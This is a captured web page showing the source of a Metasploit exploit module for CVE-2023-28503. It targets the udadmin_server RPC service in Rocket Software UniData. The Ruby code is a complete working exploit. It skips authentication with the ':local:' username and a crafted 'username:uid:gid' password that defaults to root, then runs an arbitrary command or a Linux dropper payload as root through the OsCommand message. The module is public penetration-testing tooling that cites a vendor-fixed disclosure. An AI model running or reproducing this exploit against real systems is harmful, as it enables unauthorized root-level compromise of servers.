Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/linux/misc/unidata_udadmin_auth_bypass.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::CmdStager10include Msf::Exploit::Remote::Unirpc11prepend Msf::Exploit::Remote::AutoCheck1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'Rocket Software Unidata udadmin_server Authentication Bypass',18'Description' => %q{19This module exploits an authentication bypass vulnerability in the20Linux version of udadmin_server, which is an RPC service that comes21with the Rocket Software UniData server. This affects versions of22UniData prior to 8.2.4 build 3003.2324This service typically runs as root. It accepts a username of25":local:" and a password in the form of "<username>:<uid>:<gid>",26where username and uid must be a valid account, but gid can be27anything except 0.2829This exploit takes advantage of this login account to authenticate30as a chosen user and run an arbitrary command (using the built-in31OsCommand message).32},33'License' => MSF_LICENSE,34'Author' => [35'Ron Bowes', # Discovery, PoC, module36],37'References' => [38[ 'URL', 'https://www.rapid7.com/blog/post/2023/03/29/multiple-vulnerabilities-in-rocket-software-unirpc-server-fixed' ],39[ 'CVE', '2023-28503' ],40],41'Platform' => ['linux', 'unix'],42'Arch' => [ARCH_X86, ARCH_X64, ARCH_CMD],43'Targets' => [44[45'Unix Command',46{47'Platform' => 'unix',48'Arch' => ARCH_CMD,49'Type' => :unix_cmd50}51],52[53'Linux Dropper',54{55'Platform' => 'linux',56'Arch' => [ARCH_X86, ARCH_X64],57'Type' => :linux_dropper58}59]60],61'DefaultTarget' => 0,62'DefaultOptions' => {63'RPORT' => 31438,64'PrependFork' => true65},66'Privileged' => true,67'DisclosureDate' => '2023-03-30',68'Notes' => {69'SideEffects' => [],70'Reliability' => [REPEATABLE_SESSION],71'Stability' => [CRASH_SAFE]72}73)74)7576register_options(77[78OptString.new('UNIRPC_USERNAME', [ true, 'Linux username to authenticate with (must match the uid)', 'root']),79OptInt.new('UNIRPC_UID', [ true, 'Linux uid to authenticate with (must correspond to the username)', 0]),80OptInt.new('UNIRPC_GID', [ true, 'gid to authenticate with (must not be 0, does not need to correspond to the username)', 1000]),81]82)8384register_advanced_options(85[86OptString.new('UNIRPC_ENDPOINT', [ true, 'The UniRPC service to request', 'udadmin']),87]88)89end9091# We can detect UniRPC by performing a version check, but the version number92# didn't increment in the patch (only the build number did, which AFAICT we93# can't access), so just do a sanity check94def check95version = unirpc_get_version96vprint_status("Detected UniRPC version #{version} is running")9798Exploit::CheckCode::Detected99rescue UniRPCCommunicationError => e100return CheckCode::Safe("Could not communicate with the UniRPC server: #{e}")101rescue UniRPCUnexpectedResponseError => e102return CheckCode::Safe("UniRPC server returned something unexpected: #{e}")103end104105def execute_command(cmd, _opts = {})106vprint_status('Sending OsCommand request')107sock.put(build_unirpc_message(args: [108# Message type109{ type: :integer, value: UNIRPC_MESSAGE_OSCOMMAND },110{ type: :string, value: cmd },111]))112end113114def exploit115# Sanity check116if datastore['UNIRPC_GID'] == 0117fail_with(Failure::BadConfig, 'UNIRPC_GID cannot be 0')118end119120# Connect to the service121connect122123# Connect to the RPC service (probably "udadmin")124vprint_status("Connecting to UniRPC endpoint #{datastore['UNIRPC_ENDPOINT']}")125sock.put(build_unirpc_message(args: [126# Service name127{ type: :string, value: datastore['UNIRPC_ENDPOINT'] },128129# "Secure" flag - this must be non-zero if the server is started in130# "secure" mode (-s)131{ type: :integer, value: 1 },132]))133134# This will throw an error if the login fails, otherwise we can discard the135# result136recv_unirpc_message(sock, first_result_is_status: true)137138# Prepare the authentication bypass139username = ':local:'140password = "#{datastore['UNIRPC_USERNAME']}:#{datastore['UNIRPC_UID']}:#{datastore['UNIRPC_GID']}"141vprint_status("Authenticating to RPC service as #{username} / #{password}")142143# Send the authentication message144sock.put(build_unirpc_message(args: [145# Message type146{ type: :integer, value: UNIRPC_MESSAGE_LOGIN },147148# Username149# ":local:" is a special value that skips login150{ type: :string, value: username },151152# Password (encoded by making each byte negative)153# I think if username is :local:, this is username:uid:gid (gid can't be 0)154{ type: :string, value: password.bytes.map { |b| (0x0FF & (~b)).chr }.join },155]))156157# Once again, we only care if this fails - if the status is an error158recv_unirpc_message(sock, first_result_is_status: true)159160# Run the command(s)161case target['Type']162when :unix_cmd163execute_command(payload.encoded)164when :linux_dropper165execute_cmdstager166end167rescue UniRPCCommunicationError => e168fail_with(Failure::Unreachable, "Could not communicate with the UniRPC server: #{e}")169rescue UniRPCUnexpectedResponseError => e170fail_with(Failure::UnexpectedReply, "UniRPC server returned something unexpected: #{e}")171end172end173174175